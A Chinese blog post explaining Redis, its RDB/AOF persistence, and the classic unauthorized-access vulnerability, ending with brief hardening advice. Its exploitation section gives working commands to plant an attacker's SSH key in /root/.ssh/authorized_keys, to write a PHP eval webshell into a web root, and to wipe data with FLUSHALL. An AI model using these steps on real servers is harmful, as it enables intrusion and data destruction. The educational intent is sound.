Bubbles~blog

用爱发电

浅析redis

最近接触了一下redis这个数据库,也去看了一些相关的文章,感觉还挺有意思的,就简单总结一下当做个笔记。

什么是redis

redis是一种key-value型的存储系统,这跟我们熟知的mysql不一样,mysql是用列表来存储数据,属于关系型数据库,相对应的也就是更加复杂的查询语言,相比之下redis的效率就要高很多,哪怕在同类型的Nosql数据库里性能也是很强劲的,这也是它这些年来备受青睐的重要原因,当然关于各个数据库的优劣不是我们要讨论的话题,有兴趣可以自己去了解了解

为了追求效率,redis将数据缓存在内存当中,然后周期性地将数据更新到磁盘,所以这也决定了它更胜任小规模的数据量存储,但是也因为在内存里操作所以速度极快,读写可达10万/20万

所以在生产环境里,redis还是多用作缓存,最终数据的存储还是会保存到mysql等关系型数据库中

比如在网站文章里我们一般要显示最近更新的文章,这些算是热数据,因为访问量肯定比较大,那么我们就可以将这些文章id保存到redis中,这样取数据时就很快了,还有很多基于时间的应用也会用到它,将一些过期的数据直接删除掉避免保存到磁盘里占用资源,注册网站时发的限时的验证邮件也是基于类似的机理

redis的未授权访问

因为早期的redis应用是直接暴露在网络环境中的,而且默认配置下也是没有密码保护的,这也就导致了你可以直接用redis-cli连接到他人服务器上的redis数据库,检测也十分简单,直接用redis-cli连接你的6379端口就行了,碰到素质差的说不定直接一个FLUSHALL命令就把你的数据都删了

说到redis默认的6379端口,其由来倒也有点意思,6379在手机键盘上对应的是MERZ,这是一名意大利歌女Alessia Merz的名字,因为redis作者非常讨厌她,所以开发redis时就恶搞了一下,选了这个端口

早些年的时候redis未授权访问一直没有得到重视,直到15年爆出了redis也可写入文件来控制服务器,像是ssh key和shell等,所以也引发了大量关注,到现在新版本的redis已经默认关闭了外网访问,在配置文件里全都添上了 bind 127.0.0.1,绑定了本地回环,阻止了来自外网的访问

如何利用未授权访问

redis持久化

前面我们也提到了redis主要将数据保存在内存里,当我们执行save命令时,就可以将内存里的数据保存到硬盘里,同时redis也会自动存储数据库缓存,当然这是我们手动执行,下面要说到自动的功能

在这我们要提到redis的持久化,因为redis毕竟是将数据存在内存里,一旦碰到进程意外关闭或者突然断电之类的那岂不是很蛋疼,所以redis也提供了两种持久化方案,将数据保存到磁盘里

RDB持久化

RDB持久化主要是按照指定的规则存储内存里的数据到磁盘,它使用的技术类似于对内存里的数据拍摄一次快照创建一个RDB文件然后存储到磁盘里,redis可以通过这个文件来还原数据库状态,在配置里我们可以设定让redis在指定时间进行备份生成RDB文件

我们可以通过两个命令来创建RDB文件,save和bgsave,其中save直接在redis进程里执行,但redis是单进程的,所以会造成阻塞,直到操作完成,而bgsave则是创建一个子进程,所以不会造成阻塞

在配置文件里设置了rdb文件的名称和输出路径,我们可以通过更改它们来达到利用的目的
默认的名称”dbfilename”:”dump.rdb”,路径”dir”则视环境而定

AOF持久化

与RDB持久化不同,AOF持久化备份的是数据库的收到的命令,所以它生成的相当于一个日志文件,它会记录所以变更数据库状态的命令并追加到文件末尾

所以利用AOF来还原数据库状态的过程实际上就是redis把文件里保存的命令从前到后执行一遍,确实挺简单粗暴的。。。

漏洞利用

ssh免认证登陆

因为linux下可以使用ssh免密码登录,而这要使用公私钥认证,需要我们把公钥放到服务器上,然后我们就可以用自己的私钥认证登录了

这里利用的还是我们之前提到的RDB方法,将redis的默认保存路径和dump文件名改为我们需要的

首先创建一对密钥

ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/zxj/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/zxj/.ssh/id_rsa.
Your public key has been saved in /home/zxj/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:2z9GN7rRgJlmJTtb4qv8nQDwqNCcrbM5FXAHE6LljeA zxj@ubuntu
The key's randomart image is:
+---[RSA 2048]----+
|  . o +o         |
| . =.+...        |
|  E ooo.  . .    |
|   o o.+   B     |
|  . + o.S X o    |
|   . o.  B =.oo  |
|    +.  . =..o.. |
|    .+ .   =+o   |
|    o.  ooo.=o   |
+----[SHA256]-----+

然后我们在对应目录找到id_rsa.pub公钥

zxj@ubuntu:~/.ssh$ cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWW8iTxItSzJuEJTjoVN2JgAMZiDVBJV8dvbELMxkovSt7/qKUiS4ManLCm9Z7sCjOwb3jDoSNV3UkTT/4a1balhkNYmTWhj57XCM08KP1L3GDdYg26lQtpKs4ViqTU/yPK3wJNSNxi1xdIoOn01SFEhIufFh55PA/ID0WUUCv4pNzyb09ZjG12QTQQthERVkXK1ewquZGXSVBgu9qp1M+bmFwV6eccgaWW6ioSek5mCVzb87bG8y8JbZ672AOEuFbPAvytZNCDKL4pRRCRQlGnCcnqZNlqVnxakUbpqCMx/eo5ZhcXMfFuijPXxF1mjvq11Sr0zMfe9FJLXYXWHu/ zxj@ubuntu

然后我们将公钥写入到服务器相应目录下

config set dir /root/.ssh/
config set dbfilename authorized_keys
set pub_key "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWW8iTxItSzJuEJTjoVN2JgAMZiDVBJV8dvbELMxkovSt7/qKUiS4ManLCm9Z7sCjOwb3jDoSNV3UkTT/4a1balhkNYmTWhj57XCM08KP1L3GDdYg26lQtpKs4ViqTU/yPK3wJNSNxi1xdIoOn01SFEhIufFh55PA/ID0WUUCv4pNzyb09ZjG12QTQQthERVkXK1ewquZGXSVBgu9qp1M+bmFwV6eccgaWW6ioSek5mCVzb87bG8y8JbZ672AOEuFbPAvytZNCDKL4pRRCRQlGnCcnqZNlqVnxakUbpqCMx/eo5ZhcXMfFuijPXxF1mjvq11Sr0zMfe9FJLXYXWHu/ [email protected]\n\n\n"
 
save

这样我们就成功将公钥写入了对方服务器

利用web应用写入shell

如果对方服务器上还跑了有web服务,我们也可以尝试在对方web目录写入webshell

操作上还是一样的,只不过要写入的文件变成了shell

127.0.0.1:6379> config get dir
1) "dir"
2) "C:\\redis"
127.0.0.1:6379> config set dir d:\\WWW\
OK
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set shell "<?php @eval($_POST['0']);?>"
OK
127.0.0.1:6379> save
OK

当然这里要注意我们是在实验环境下,所以数据库里很干净,但在生产环境下会有很多数据,直接保存的话很可能导致我们的文件无法正确解析,所以需要提前使用flushall都删了,虽然这样动静比较大。。。

防护

其实现在已经很少能看到redis未授权访问了,redis已经默认关闭了外网的访问

如有必要开启的话最好也要设置强度足够的密钥,同时配置bind来限制可连接的ip

更改下默认的6379端口有时候也能起到一定防范作用